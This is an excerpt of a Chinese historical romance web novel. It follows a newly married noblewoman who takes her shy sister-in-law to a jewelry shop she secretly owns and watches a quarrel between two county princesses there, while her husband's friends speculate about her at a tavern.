燕南秋手里拿着他那把折扇,慢悠悠地一扇一扇,眼神有些 空,明显是在想事情。祁云羡看向他,微微蹙了蹙眉问:“南秋,你在想什么?” 燕南秋摇扇子的手微微一顿,随即又恢复如常。他合上手中的紫檀骨折扇,微微摇了摇头道:“我也不清楚,只是觉得这婚事不似面上那般简单。” 他这一说,三人都将目光投了过来燕南秋看着面前三张写满“求知”的脸,嘴角无奈上扬。 “我也不清楚,毕竟我没有入朝,许多事看的也不真切。”随后他看向祁云羡,表情认真:“不过阿羡,你也要小心些。按照你说的,林观月目前来看是你的助力,这很好,但是你也要留个心眼,别让她给利用了。” 他这一说,三人更是迷茫了,燕南秋看了看,微微叹了口气,心想若是没有自己,这三人可如何是好。 但即使心里嫌弃着,他还是耐心给他们解释了:“不顾世俗的眼光,随着舅舅四处行商,证明这是个有胆识的女子;常年不在京城却在礼仪上毫无差错,证明她身边必定有人可用;刚入府,在敬茶迟到的情况下能四两拨千斤,不仅化解自身困境,还缓和了阿羡跟王爷王妃的关系,甚至能让祁云琛吃亏……证明此女心有城府,巧舌如簧。” 燕南秋说着说着,心中对这位尚未谋面的弟妹就更添了几分好奇和钦佩。若是成婚之人是他,那倒还好,可若是祁云羡…… 燕南秋看着面前眼神清楚的少年,心中叹了口气,语重心长道:“阿羡,她想算计你太简单了,所以无论何时,都要留个心眼。” 祁云羡听完他这番话,蹙着眉不说话,不知是在想什么。燕南秋看着他这般模样,心有不忍,又说了句:“不过你也不用太过担心,起码目前来看,她并没有伤害你的意思。” 祁云羡听了这话,更沉默了。他推开面前的酒杯,俯身趴在桌面上,侧脸贴着胳膊,看上去有些疲惫,眼睛里又有些许厌烦。 “阿羡……”燕南秋看着他这样,也不知道该怎么说。 祁云羡自小便走丢,被找回来后也亲缘淡薄,身边没几个真心人,凡是靠近他的,皆是有所求。可偏偏,祁云羡又最是厌烦这些心思。 唉。 宋琪光想安慰安慰他,可张了张嘴,最后拍了拍祁云羡的肩膀,什么也没说。 他跟祁云羡不一样。他自小便在京城长大,虽说父亲母亲很是恩爱,但他母亲毕竟是公主,故而自小见到的阴谋算计不在少数,对这些虽不喜欢,但也习惯了。 可祁云羡不一样,他身上带着外面的桀骜和直白,京城这五年的生活并没有磨平他的棱角,也没有让他习惯。 ——他依旧厌恶这些算计心机。 晏绥倒是理解他,但他没祁云羡那么矫情。他奉行的,是看不惯就干,吃亏就吃亏,他懒得跟那些心眼子比马蜂窝的人争个长短。 看着祁云羡郁闷,他轻嗤一声,拿起酒壶起身走至床边,望着楼下繁华的街道喝酒。 望霄楼的地段着实好,站在这里往下看,来来往往的人数不胜数,其中身着锦衣华服的不在少数,驾驭宝马香车的也不再少数……这便是京城,站在这里,大抵会觉得天下皆是如此。 眼底划过一抹不易察觉的落寞,晏绥微微抬头,张开嘴,‘秋露白’便顺着一股水流落入口中,少数撒出,顺着他的脖子流下,濡湿一片衣襟。 晏绥收回手,不在意地用袖子摸了摸嘴角。他收回视线,刚想转身回去,余光就瞥到一抹熟悉。 晏绥微微眯了眯眼,仔细辨认了一番,随后开口:“祁九,你看那是不是你的车?” 21. 马车 晏绥声音落下,他转头看去,祁云羡依旧趴在桌子上,只是后背明显有些僵硬。 “真的假的?我看看。”宋琪光兴致冲冲地起身往窗边走去。燕南秋眉头一挑,也起身跟上。 二人到了窗边,往下一探,都看到了那辆熟悉的马车,此时已经远了,马上就要消失在拐弯处。 “阿羡,真是你的马车!”宋琪光兴致勃勃叫道。 三人之所以都能这么肯定地说出,这是祁云羡的马车,只因这背后还有个故事——两年前,四人本是约好了要去宋琪光在城外的山庄避暑,但谁知临行前,祁云琛抢了他早就安排好的马车。 这本来倒也不是什么事,毕竟像宣王府这样的门第,自然不会只有一辆马车。可偏偏怪就怪在,此事被王妃知道后,不但没有给祁云羡重新安排马车,也没有斥责祁云琛,反倒说着祁云羡只知享乐,不思进取,不仅没有给他安排马车,还让府里将他的马扣下,不准他去。 那时的祁云羡与王爷王妃关系已经很不好了。王妃的吩咐一下,他什么也没说,大家本以为此事就这么算了,谁知他跑到了祁云琛办公的地方,二话不说,将人给打了。 此事上报到了皇帝的面前,官员们要求严惩祁云羡,可祁骁得知来龙去脉后,只是叹了口气,给了祁云琛一些赏赐安抚,便将此事轻轻揭过。 事后,太后心疼孙子,送了一辆上等的马车过来,还特意交代,这辆马车只能祁云羡一人使用。皇帝也送了一匹外邦进贡的好马来,说是给祁云羡日常骑着玩儿。 这赏赐一下,祁云琛如何暂且不知,反正王妃是脸都绿了,自此再也不提这辆马车,而等着看祁云羡好戏的人也纷纷歇了心思。 总之,因为这件往事,三人都对这辆马车熟悉得很,故而随意一瞥,便能认出。 待马车消失在拐角处,三人直起身子看向屋内。宋琪光一脸惊喜,又带着几分惊讶的难以置信,道:“还有人敢用你的车?谁啊?这么大胆子?” “这还用猜?肯定是祁九那新过门的夫人啊。”毕竟宣王府其他人对这辆马车,可都是敬而远之,恨不得当不知道。 晏绥咽下后半句话,轻嗤一声,看向祁云羡道:“祁九,你这夫人倒是有意思。你说,她是不知道这事儿,还是知道却明知故犯呢?” 晏绥眼底带着明晃晃看热闹的兴味。 燕南秋无奈摇头,可也有些好奇地看着祁云羡——他也很期待祁云羡的答案。 祁云羡刚刚就直起了身子,此时侧对三人手上拿着酒杯,对着三人的侧脸上没什么情绪。 “他初来乍到,不知道不是很正常吗?” 祁云羡说的平淡,燕南秋却悄悄瞪大了眼睛,原本狭长的狐狸眼此刻看上去倒少了几分精明,手中的紫檀骨折扇也停滞片刻,随后又慢慢的扇动起来,以一种极慢的频率。 他意味深长地看着祁云羡,思绪翻涌:阿羡对这位“夫人”的态度,看来有些不同啊…… 晏绥没燕南秋想的这么多,他本来就是想看戏,此刻见祁云羡这幅表现,瞬间觉得无趣。 “没意思……别给我喝完了!”他大步上前,掀开袍子坐下。紧接着,宋琪光也嚷嚷着快步走过去:“还有我还有我!” 窗边只剩下一个燕南秋。 他看着抢酒的三人,收回视线,转而望向窗外——望霄楼处在繁华地段,周围店铺林立,人群密集——燕南秋置身其中,看不到远处。 那双狭长的狐狸眸子微微眯起,细微的眼角微微向下勾,墨色的瞳孔里倒映出繁华的街道。他微微抬眸,原本如洗的碧空自北方渐渐多了些大片的云 ——要变天了。 …… 当楼上四人对着那辆马车猜测时,林观月正安安静静地坐在里面闭目养神,一旁还跟着个战战兢兢,屁股都不太敢挨在锦茵上的祁舒宁。 若是好奇这个搭配如何而来,时间还得回到一个时辰前—— 林观月用了一上午的时间摸清了秋水苑上下,没急着打理自己的嫁妆,而是在用过午膳后,向王妃提出出府的请求。 对于新过门的儿媳妇第二天就要出去这件事,王妃本是不乐意的,但林观月只当不知情,提出自己刚回京,想出去逛逛,顺势看一看手里的铺子。 对此,王妃虽不情愿,但到底还是同意了,只是不忘嘱咐她,今后少抛头露面。 林观月自然是应了,只是之后如何,那就再说。 这得了出府的许可,林观月便让人去通知管事的备好车马,只是在出门的时候,碰上了前来秋水苑道谢的祁舒宁。 “二嫂这是要出门吗?” 一身浅粉色齐胸襦裙,眼神温温弱弱的少女出现在秋水苑门外,看着正要出门的主仆一行人,有些愣愣发问,眼神里还带着“来的不是时候”的赧意。 “见过二少夫人。” “见过大小姐。” 林观月也没想到会在这里见到祁舒宁,微微惊讶了一下,随即听到她怯生生的发问,微笑颔首:“是,准备出去一趟。” 祁舒宁闻言,表情更加懊悔了,带着明显的羞意,从耳朵道脖子都是粉红色的,配上她今日的衣裳,像是秋日里的粉海棠。 林观月眼底慢慢染上笑意,她刻意放缓了声音,轻声问道:“大小姐来秋水苑,可是有事寻我?” “没,没有。”祁舒宁下意识回答,可随后看见林观月一双盛满笑意的清澈眸子,瞬间觉得自己已经被对方看了个透。 她微微避开眼神,略微犹豫片刻,就抬手放在身侧,对着林观月福了福身子。 “舒宁只是想多谢大嫂送的礼物,但那太贵重了……” 林观月来了些兴致,她也不在意这是在外面,就这么一群人站在秋水苑门口,笑盈盈反问:“怎么?难道你要将它退还给我?” “不不不!‘长者赐,不敢辞’,小妹只是想多谢二嫂的礼物,只是今后……希望二嫂不要这般破费……” “噗嗤……”林观月捂嘴笑了起来,连身后跟着的入画也偷偷弯了唇角。 ——这大小姐倒是天真的可爱,跟个小兔子似的,对比下来,显得她们少夫人跟狐狸一样。 入画暗暗在心底对林观月“大不敬”。 跟在祁舒宁身后的侍女莺儿此时也有些不好意思,但看着自家小姐害羞的恨不得将头垂到地上的模样,即使知晓二少夫人或许没恶意,可也难免心中生出些不悦。 她自小跟着祁舒宁长大,最是了解自家小姐的性子,今日这一出,怕是小姐回去要懊悔很久。 莺儿抿了抿嘴唇,眼神逐渐变得坚毅,像是下定了决心,向前对着林观月福身行礼,说道:“二少夫人见谅,我家小姐脸皮薄,还望二少夫人留些薄面。” “莺儿!”祁舒宁没料到自家侍女竟如此胆大,虽是为了自己,可这到底是以下犯上若是林观月要责罚,她根本 没理由护住她。 祁舒宁也顾不上羞赧了,原本还通红的小脸顿时白了下来,对着林观月行礼道歉:“二嫂,莺儿不懂事,还望二嫂莫怪。” 林观月倒是没往心里去,她上前两步,抬手将人扶了起来,温声安抚:“大小姐不必如此,莺儿姑娘也是为你着想。说来,倒是我要给大小姐赔不是。” “不用不用!”祁舒宁摆着手,随后看着林观月一脸笑意,也知对方确实不打算跟她计较,便缓缓收回手,低声说:“二嫂不必在意。” 林观月看着面前害羞内敛的少女,更是对昨日对方的解围多了几分感谢——这确实是个天真善良的姑娘。 “昨日的东西,大小姐可还喜欢?”林观月问。 “嫂嫂送的礼物,我自是喜欢,只是……” “喜欢便好。” 林观月打断她的未尽之言,上前拉过对方的手轻轻拍了拍,说:“昨日还要多谢大小姐,这只是谢礼,不算‘长者赐’,大小姐安心收下即可。” 林观月的声音里带着几分打趣,祁舒宁听着,突然也反应过来——林观月与她同辈,实在称不上“长者”。面颊上刚刚褪去不久的红色再次攀升起来,祁舒宁眼神不敢看她,垂着眼睑,眼珠乱瞟,满是慌乱。 但好在林观月没再逗她,压下嘴角的笑意出声道:“大小姐今日来,可还有其他要事?” “嫂嫂叫我阿宁就好。”祁舒宁此时终于意识到了林观月的称呼,连忙摆手,随后反应过来林观月问的问题后,再看看林观月主仆像是要出去的模样,这才反应过来什么,稍稍平稳了情绪反问:“二嫂可是有要事?若是有的话,就先去忙吧,不必管我。” “倒也没什么要事,只是想出门转转。”林观月说罢,看着面前粉衣乖软的少女,略微思索了一下,便开口问:“阿宁可愿陪我出去一趟?” “啊?我吗?可,可以吗?”祁舒宁有些惊讶,可紧随着的便是难以置信,语气里又带着些藏不住的惊喜。林观月看着,觉得这姑娘眼睛都亮了。 她莞尔道:“自然可以。我已经向母妃禀告过,若是阿宁愿意,我便让入画再跑一趟,想必母妃也不会拒绝。” 祁舒宁这次是真的惊喜了。虽然这个时代对女子要求并没有前朝那般严苛,但祁舒宁毕竟是王府的小姐,上面还有这个“端庄守礼”的嫡母,故而平日里,若不是什么宴会邀请,或是逢年过节,也是没什么机会出门的。 祁舒宁的一颗心开始蠢蠢欲动起来,这次,连那点子不好意思都没压住。她悄悄打量了一番林观月的神情,判断出对方不是在说客气话后,便有些羞涩地对着林观月道谢:“那就麻烦二嫂了,小妹再次先谢过二嫂。” 林观月摆摆手:“阿宁不必如此,我不常在京城,待会或许还要让你与我多多介绍。” “我,我也不是很了解……”祁舒宁又有些紧张起来,脸颊红红的,声音像是蚊子。 林观月没再逗她,微微偏过头对入画说:“你让侍书找人去回禀母妃,随后来厩院寻我。” “是,少夫人。”入画转身回去找侍书,林观月则是看向祁舒宁,微微示意:“阿宁先陪我去一趟厩院吧。” 祁舒宁心里微微疑惑,不解林观月为何要去厩院,但还是点点头没有多问,侧身让开路:“二嫂先请。” “一起吧。”林观月挽着祁舒宁的手臂,身后跟着祁舒宁的侍女莺儿,不急不慢往厩院走去。 22. 琳琅 这厢的官司那厢不得而知,林观月一行人已经坐上了这御赐的马车。只能说,不愧是御赐的东西,这马车内空间宽敞,足以让人躺下休息,坐垫柔软舒适,装饰的也处处精致,比林观月以前自己定做的马车还要舒服。毕竟她需要顾及规格,很多东西不能用。 只是林观月倒是舒服了,祁舒宁却觉得如坐针毡,可看林观月闭目养神的模样,也不敢轻易打扰,只得这般一路战战兢兢。 “少夫人,到了。” 马车缓缓停下,入画适时出声提醒,林观月这才睁开了眼睛。她看向对面不安了一路的姑娘,眼底弥漫些笑意:“阿宁,这都已经到了,再害怕也没用了哦。” 像是故意调戏小姑娘,语气里带着些没有恶意的恶趣味。其实这一路上祁舒宁的担心害怕林观月何尝不知呢?只是一来不想多费口舌做无用的安抚,二来也是存了逗小姑娘的心思。 果不其然,祁舒宁被她这么一说,小脸更是白了。林观月淡笑起身,掀开帘子率先出了马车,声音悠悠然传来:“阿宁若是再不下车,会让人以为你很喜欢这辆马车哦。” 祁舒宁被这句话吓到了,连忙起身扶着莺儿的胳膊下车。她从车内探出身子,一眼就对上立在马车便笑得满脸打趣的二嫂,心里顿时明白对方这是故意逗她,脸上的血色不由恢复了些。 她扶着莺儿的手下马车,不免低声抱怨:“二嫂就会吓唬人。” 林观月也不反驳,顺着她的话道歉:“是是是,二嫂的错,那待会阿宁若是看上什么尽管拿,二嫂就当给你赔罪好不好。” 祁舒宁闻言这才注意到她们此刻正站在琳琅阁门前,里面还时不时传来女子的声音。 祁舒宁虽然不常出门,却也知道琳琅阁的名声,毕竟这是京城贵女最为推崇的首饰铺,里面的首饰不仅造型新颖别致,价格也是极为好看的,日常是宴会期间贵女攀比的重要选项。 祁舒宁虽然不喜欢攀比,但对琳琅阁里面的首饰也是喜爱的,但因价格稍贵,她手里也只有两三件,还都是母亲哥哥买来送她的,非重要场合,寻常都舍不得拿出来佩戴。 “二嫂?”祁舒宁有些疑惑地眼神投向林观月,却见对方笑而不语,拉着她的胳膊就向店里走去。 “二位娘子可有什么需要帮助的?本店最近新上了一套海棠系列的头面,最是热销,以二位的容貌来说,都是十分般配的。除此之外,还有其他首饰也都是当季新款,二位可要奴家帮着介绍?”林观月二人一进门便被一个灵动可爱的姑娘迎了过来,姑娘生了一张巧嘴,声音又甜,听着便让人心生愉悦。 林观月进门就松开了拉着祁舒宁的手,她在对方身上轻轻打量一圈,微微颔首:“劳烦姑娘,我们想自己看看。” 这姑娘也没因此失望,面上的笑不曾变动分毫,只是对着二人微微颔首:“那二位先慢慢瞧,若是有需要帮助的地方便喊我,或是阁中其他姑娘也可。” “多谢。” 待人走后,林观月这才开始慢慢打量起店里的情况——京城的琳琅阁没有江南的大,但也有两层,此刻店内裙裾如云,可见生意不错。店面装饰上没有江南的那种风雅,反倒有些富丽堂皇之感,倒是很符合京城这片地方。 琳琅阁是林观月十岁那年开的铺子,江南的算是总店。不过它虽在许多地方都有开设,却一直都未曾开在京城,直到去年,林观月才终于下定决心在京城也开一间琳琅阁,现在想来,倒是有些庆幸。 林观月止住乱飞的思绪,转向对一旁的祁舒宁道:“瞧瞧有什么喜欢的,我送你当作刚刚的赔礼。” “不用不用。”祁舒宁连忙拒绝,随后又像是觉得自己声音大了些引起旁人注意,便又红了脸低声解释:“二嫂不用跟我赔罪的,不必破费的。” 林观月看着这姑娘,倒真是有些心生喜爱了,她像是一朵纯洁干净,被养护的很好的海棠花,美而无香,却让人心生怜爱。 她抓过祁舒宁的手带她走至就近的展柜旁,从一种琳琅璀璨的首饰里挑了一支粉色簪子便往祁舒宁头上比划,还不往寻求两个侍女的意见:“好看吗?” “自是好看的,大小姐长相娇柔,最适合粉色了。”入画自是顺着自己少夫人的话来,毫不吝啬夸赞道,就连莺儿也悄悄点了点头,眼睛亮亮的看着祁舒宁,明显是“好看”。 “好看就买。”林观月将簪子递给莺儿:“给你家小姐拿着,待会一块儿付钱。” “嫂嫂。”祁舒宁拦截不及,有些责怪地看了一眼莺儿,但莺儿这次却没听她的,反倒将那簪子往怀里收了收,祁舒宁这次脸更红了。 林观月看出她的窘迫,拍了拍她的手背安抚:“放心大胆地挑,你二嫂别的没有,就是有钱。”她拉着祁舒宁,继续拿其他东西往她身上比划,嘴里还安抚着小丫头:“你要是过意不去,日后就常来找二嫂玩,毕竟我刚回京城,也无甚朋友……这个也好看。莺儿,拿着。” 祁舒宁阻拦不及,又一个簪子被递到莺儿手里,她还想回头阻拦,林观月就又拉着她离开了:“走,再看看别的。” 莺儿手里拿着两支簪子,她低头打量一番,看不出什么价格,只是觉得这两支簪子比自家小姐平日里戴的要好看许多,便开始为祁舒宁开心。 这二少夫人倒真是大方,若是小姐今后能跟二少夫人走得近些就好了。 莺儿自顾自想着,手上却不停地接过林观月递过来的东西,也就没有注意一旁入画打量的眼神。 倒是个忠心的。入画将莺儿的神情尽数看尽眼里,有了自己的判断。她收回放在莺儿身上的注意力,转而打量起琳琅阁来,尤其观察那些来买首饰的人——她家少夫人未曾表明身份,怕是就想暗中观察一番。 “碰!——咚!——” 突然,一声重物跌倒在地的声音从二楼传来,琳琅阁顿时安静了下来,不明情况的女子们都将好奇的眼神投向二楼。 林观月放下手中的镯子,微微眯了眯眼,眼底闪过兴味。她率先迈出步子往二楼走去:“去瞧瞧。” 只是还未曾走上楼梯,就被人拦住——还是刚刚她们进门时那个伶俐的姑娘。 “这位夫人,二楼此刻怕是不方便,若是一不小心冲撞了您就不好了,不如您先在一楼看看?若是有喜欢的,小店便给您打个折,算是今日的赔罪如何?” 姑娘很会说,反应也快,是个好苗子。林观月对她很满意,但是二楼的热闹她也是要看的。 “入画。” 入画听到示意,快步走上前,拉过那个姑娘往一旁挪了挪,让出上楼的位置来。林观月不等便径直走上台阶。 “唉!这位夫人……” “姑娘莫急。” 入画再次将人拉回来,这次从袖口摸出一块令牌,微微侧过身子给这位伶俐姑娘看。伶俐姑娘本是满脸不解,还带着些焦急,但在看清令牌的下一刻,猝然抬头,瞪大了眼睛,满眼惊讶与不可思议。她对上入画,却只见对方微微颔首,便知这令牌不是假的,刚刚的人确实是东家没错了。 来不及平复内心的震惊,伶俐姑娘连忙让开给入画赔罪:“刚刚有所得罪,还望姑娘海涵,玲珑待会就去给东家赔罪。” 原来这伶俐姑娘叫玲珑,倒是般配。 入画将人扶了起来,拍了拍她的肩膀安慰:“你做的没错,东家不会怪罪的,我先上去了,一楼就交给你了。” “姑娘放心。” 入画安心上了楼,其他观望的顾客见有人上了楼,也纷纷想上楼看热闹,却被玲珑给拦了下来:“诸位娘子不好意思,二楼此刻多有不便,各位还请多多见谅。为了弥补今日给各位造成的损失,今日给诸位娘子打八折优惠,还请各位多多担待。” 原本见有人上去她们却被拦了下来,众人中也有不满的,可一听打八折,顿时也没了火气,对二楼的事也那么多兴趣了。 罢了,反正稍后一打听就知道二楼发生了什么,但此刻的八折可是可遇不可求! 众人纷纷散去,在一楼招待的女使也凑到玲珑身边询问:“刚刚那是什么人?玲珑你怎么让她们上去了,不怕韩掌柜等会骂你了?” “幸灾乐祸!”玲珑点了点刚刚说话那个姑娘的鼻子,随后低声嘱咐:“别怪我没告诉你们,刚刚那是咱们东家,等会一个个可要好好表现!” “东家?” “真的假的?” “可刚刚那姑娘不是很年轻吗?” 一群姑娘叽叽喳喳七嘴八舌,玲珑抬手打断,语气催促:“行了行了,你们知道就行,赶紧去招待客人,不然等会把事情搞砸了,东家生气可别怪我没提前提醒你们。赶紧散了散了。” 23. 灵犀 一楼的情况是已经稳定下来,二楼却着实有戏看。 林观月一上来就察觉到空气里紧张的气氛,她扫了一圈,最终把视线落在了一个女子身上——那是一个十分明丽的姑娘,一身海棠红诃子裙显得她整个人大气又明艳,腰间用朱红腰带束缚,一串串彩珠金穗自腰间垂落,稍一动便叮咚轻响。高髻簪满繁花步摇,珠流苏随她动作轻晃,脖子手腕上也皆有金银首饰……她微微仰着下巴,下颌微微绷着,脖颈修长,像是一只骄矜的孔雀。 只是,此刻这只孔雀明显心情不佳,一张小脸紧紧绷着,眉头紧蹙,眉梢微微上挑,有几分盛气凌人之感。 林观月顺着小孔雀的视线看过去,最终落在了那个被人扶着的蓝衣女子身上——这姑娘的衣服上有些灰尘,此刻侍女扶着,身边还围着一个表情不善的姑娘……想必刚刚那声巨响就是她发出来的了。 “祁灵犀,你太过分了!”说话的是个猫眼姑娘,她站在蓝衣姑娘身边,瞪着小孔雀替自己朋友愤愤不平:“妙仪明明没有惹你,你为何非要找她麻烦?!” 原来孔雀叫祁灵犀,蓝衣姑娘叫妙仪。都是不错的名字。只是……姓祁? 不等林观月判断出几人的身份,衣袖上就传来熟悉的拉扯。林观月转头看去:“阿宁认识她们?” “嗯。嫂嫂有所不知,那个穿红色衣服的是安郡王的独女祁灵犀,正在说话的是鸿胪寺卿的嫡女郑知意,她身边那个是长明县主温妙仪,她……现在住在安郡王府。” 祁舒宁小声跟她介绍着,林观月一边听着一边暗自打量那几位姑娘,直到听到祁舒宁最后一句话,她一直以来的风轻云淡也褪去几分。 “你说她没惹我就没惹我吗?就算她真的没惹我,郑知意,你算什么人?轮得到你来指责本县主?”孔雀的下巴微抬,眼中是轻蔑与骄傲。 “你!”叫郑知意的姑娘明显被气得不轻。 “好了,知意。”温妙仪抬手拦住气的一脸通红的郑知意,看向对面的小孔雀,声音平静,好似并未因为对方咄咄逼人的态度而显得狼狈或是不堪:“我今日不知福昌你也要来此,是我扰了你的雅兴,刚刚那套首饰便记我账上,算作我的赔礼,你拿来送人或是摔着玩都可以。” 温妙仪的语气冷静、平淡、没有起伏,她没有因为祁灵犀的恶语相向就恼怒生气,淡的好似只是个局外人。 林观月将视线落在她身上——姓温。还住在安郡王府。如果她猜的没错的话,这位姑娘怕就是前任姚州刺史温逸明的遗女了。 至于为何是遗女,此事还要说起一件往事——十年前,黔门关防御使谢天逸通敌叛国,晟国军队连破黔州、辰州、姚州三州,堪堪到了巂州才被朝廷赶到的军队截住,但纵使如此,也依旧连失三州,举国震惊。 事后,为了平息民愤,皇帝下令将谢家满门抄斩,谢氏子弟三代内不得入朝为官。可纵使如此,也难平民愤。 林观月当时七岁,那也是她第一次对这个时代有了清晰的认知。从那以后,她便开始着手打理产业,建立自己的势力,直到十岁才堪堪走出京城……林观月思绪渐渐回拢,她继续打量着温妙仪。 这姑娘的皮肤很白,像是一块晶莹的美玉,可那双眼睛却偏沉偏静,让她整个人都沉了下来。她此刻明明一身狼狈,身边也有人替自己出头,但她却安安静静地站在那,没有卖惨,没有责怪,像是一个旁观者。 倒是也符合她的经历——温妙仪的父亲是前任姚州刺史,姚州沦陷前,温妙仪被她父母偷偷送了出来,随后父亲战死,母亲殉情。事后朝廷为了安抚战死的官员将士,皇帝亲封温妙仪为长明县主,赐了宅子,待她长大后便可居住。 最重要的是,皇帝特意下旨,待温妙仪长大后,允许她自行决定婚事,并且无论是嫁人或是招赘,生下的第一个孩子都要随她姓温,上温家族谱。 然此举虽然极大程度上保障了她今后的生活,但她一介孤女,手里又握着这么多东西,所以那些平日里那些不常联系的姑姨舅叔都冒了出来,打着照顾她的旗号,想将这些吞为己有。 好在,有她母亲的生前好友,也就是祁灵犀的母亲、安郡王妃柳月章发现这些事,她上禀陛下后,将温妙仪带回府抚养。 按理来说,二人不该是这种关系啊…… 许是注视太过专注,温妙仪似有所感,扭头望了过来,直直同林观月尚未收回的视线对上。二人皆是一愣,随即轻轻颔首致意。 “有意思……”林观月看着她收回视线,毫不在意的模样,低声呢喃一声。 “今儿一早就听见店门口有喜鹊报鸣,我还寻思是怎的回事,原来是两位县主大驾光临。”不合时宜的欢喜声突然响起,是琳琅阁掌柜韩月柔出现了。 韩月柔跟许玉娘差不多大,但她没许玉娘那般颠沛流量的过往,是林观月四处游历时发掘的人才。 林观月正站在楼梯口不远处,故而韩月柔的脸刚在楼梯口出现,眼神便落在了林观月身上。她随即眼睛一亮,但见林观月似笑非笑看戏的模样,遍没有贸然上前,只是稍稍顿了下,便自然越过一群人走到几人中间。 “俗话说得好,和气生财,二位县主有什么要求尽管提出来,别互相伤了和气。”韩月柔先是转向祁灵犀,弯着嘴角哄道:“诶呦,长明县主今日这身装扮可真是美艳娇俏,与我们琳琅阁这月的海棠系列首饰最是般配不过。县主不妨先消消气,跟奴家去品鉴一番。若是县主喜欢,奴家便让人送一套到府上去。” 韩月柔语气又轻又柔,哄劝意味十足,然而祁灵犀并不吃这招:“我缺你那几两银子?” “是是是,是奴家的不是。”韩月柔从善如流服软:“但是奴家这也是小本买卖,县主您看……我们也做不成生意……” “你这掌柜的怎么说话的?知道你面前的是谁吗?我告诉你……”祁灵犀身边的侍女有着和她如出一辙的嚣张姿态,只是比起祁灵犀要浅显直白的多,故而显得有些蠢。 “朱樱。”祁灵犀轻轻唤了一声,那侍女便不忿地止住了未尽之语。 祁灵犀上下打量了一眼韩月柔,随后又看向对面的几人,主要是落在温妙仪身上:“放心吧韩掌柜,耽误了你的生意,该有的补偿本县主一分都不会少。只是……这也不是我一人造成的,也不能只让我赔吧?” “这明明就是你先找事的!凭什么让妙仪赔?!” “知意。” 两道女声一先一后响起,温妙仪转头冲郑知意微微摇头,随即再看向韩月柔:“造成的损失事后会尽数赔上。” 祁灵犀最角的弧度慢慢拉平,冷冰冰看了她一眼,转身迈步往楼下走去。 “韩掌柜事后把损失的写个账单到安郡王府拿钱,还有刚刚我看上的首饰,一并给我送到府里。” 人群中自动给她让出一条路,直至那海棠红的颜色消失不见,人群中才窃窃私语起来。 韩月柔走到温妙仪身边询问:“长明县主可有伤到?是否需要请大夫?” “不必,多谢韩掌柜好意。”温妙仪对她微微颔首,她转身冲身后的侍女招了招手,侍女递上一个荷包,温妙仪从中取出一张银票递给对方:“今日多有打扰,劳烦掌柜的帮我把损坏的首饰打包起来,刚刚灵犀定的那些首饰我也一并付了,多余的便当做今日影响琳琅阁做生意的补偿。” “这……”韩月柔没想到还有这么一出,下意识便往林观月那边看,温妙仪敏锐地捕捉到这一举动,却只是不动声色的瞥了一眼。 林观月轻轻眨了一下眼睛,韩月柔便将那银票接了过来:“那这首饰是事后跟福昌县主的一并送至郡王府,还是待会县主您亲自带走?” “我自己带走就行。”温妙仪道。 “晓得了。”韩月柔朝一旁的一个姑娘招手:“翠珠,带着长明县主和郑小姐去打包东西,记住,动作细致些。” “是,韩掌柜。”翠珠侧身让出道路,抬起胳膊引路:“二位小姐这边请。” 温妙仪偏头对郑知意微微颔首,两人先后向楼下走去。路过楼梯口的时候,温妙仪侧头跟林观月互相短短对视了一眼,林观月淡笑,温妙仪平静,随后各自收回视线。 “行了行了,都散了吧。”韩月柔安抚好顾客,抬脚走到了林观月身边,先是看了祁舒宁一眼,随后抬手引路:“夫人,这边请。” 林观月微微颔首,抬脚跟上。一旁的祁舒宁虽然搞不清目前的状况,但林观月都走了,她也就连忙跟上了。 雅间 “夫人,请。” 林观月环顾打量一番,随后自顾自走至椅边坐下:“行了月姨,坐下歇歇吧。” 韩月柔听了这句话,刚刚的客气周到顿时消失不见,取而代之的是一种熟稔和随意。她笑着走到椅边坐下:“东家怎的也不让人通知一声就来了,若是恰巧我不在,姑娘们不认人,轻慢了你可如何是好?” “若是不知我是谁就能轻慢我,那这琳琅阁也离关门不远了。”林观月打趣道。 “是是是,我们琳琅阁的姑娘自然不会如此。”韩月柔看向一旁做的惴惴不安的祁舒宁:“这位是……?” 林观月但笑不语。她可不信韩月柔会不认识祁舒宁。只是林观月不说话,祁舒宁便更加紧张了,连忙站了起来,磕磕巴巴回答:“我,我是宣王府大小姐祁舒宁……” “原来是宣王府大小姐,奴家有礼了。”韩月柔含笑福身。 “行了月姨,别逗小丫头了。”林观月出声打断,随后跟祁舒宁介绍:“这位是琳琅阁掌柜韩月柔,月姨。我知道阿宁你在疑惑什么,月姨刚刚说的没错,琳琅阁确实是我的。” “嫂嫂……”祁舒宁惊讶地瞪大了眼睛,她身后的莺儿也是一脸震惊。 林观月微微扬起嘴角:“这有何稀奇的,你又不是不知道你二嫂我有钱,名下的铺子只多不少。只是今日时间有限,改日我带你一一逛逛。” “不用的二嫂!我只是……只是太震惊了而已……”祁舒宁连忙解释。 “阿宁不用紧张,但你现在知道了,是不是不用拘谨了?”林观月语气含笑,然祁舒宁满脸茫然,随后对着莺儿道:“莺儿,跟着你家小姐出去逛逛,你家小姐有喜欢的有合适的的就拿,不用听她的。” “是,二少夫人!”莺儿满脸兴奋,祁舒宁还想说什么,却被韩月柔打断。她从门外招来一个姑娘,交代几句然后转向祁舒宁:“大小姐,这是晶晶,若是有需要,找她就好。” “小姐,这边请。” 祁舒宁还想说什么,但也觉得在这里不方便,打扰林观月跟韩掌柜谈话,故而纠结一番还是跟着出去了。 人走后,入画把门关上,林观月抬手给自己倒茶:“刚刚那一出是怎么回事?” “东家有所不知。这事儿要说起来,也是一桩孽缘。”韩月柔跟着坐在林观月对面,抬手也给自己添了杯茶:“刚刚最后离开的那位小姐是长明县主,与她发生争执的则是福昌县主。这二位,东家应该都知晓吧?” “知晓。”林观月颔首。 “唉,按理来说,这昔日里柳小姐和卫小姐关系亲密,乃是闺中密友,谁料她们都女儿如今却争锋相对,视彼此如死敌。”韩月柔说起这件事来也有些感慨,“不过也不能说是彼此,毕竟只有福昌县主处处找长明县主麻烦,而长明县主一向是不予理会的。” 林观月垂眸略微思索:“那问题,可是出在安郡王妃身上?” 韩月柔眼睛闪过赞赏:“东家料事如神!这可不是出在安郡王妃身上嘛!” 林观月淡笑不语,但一旁的入画却听的云里雾里,试图开口询问:“月姨,为何会说问题出在安郡王妃身上?” “小入画有所不知。这安郡王就福昌县主一个独女,自小那是被千娇万宠长大的。本来按理来说,长明县主来了后,福昌县主便有了伴,也是好事一桩,可错就错在,这安郡王妃和温夫人关系太好了,故而对待长明县主总是过于怜爱了些。”韩月柔拿着一旁的团扇慢慢摇着,说着还去看入画寻求认同:“你说,这亲娘对别人比对自己都好,这福昌县主能跟长明县主好好相处吗?” 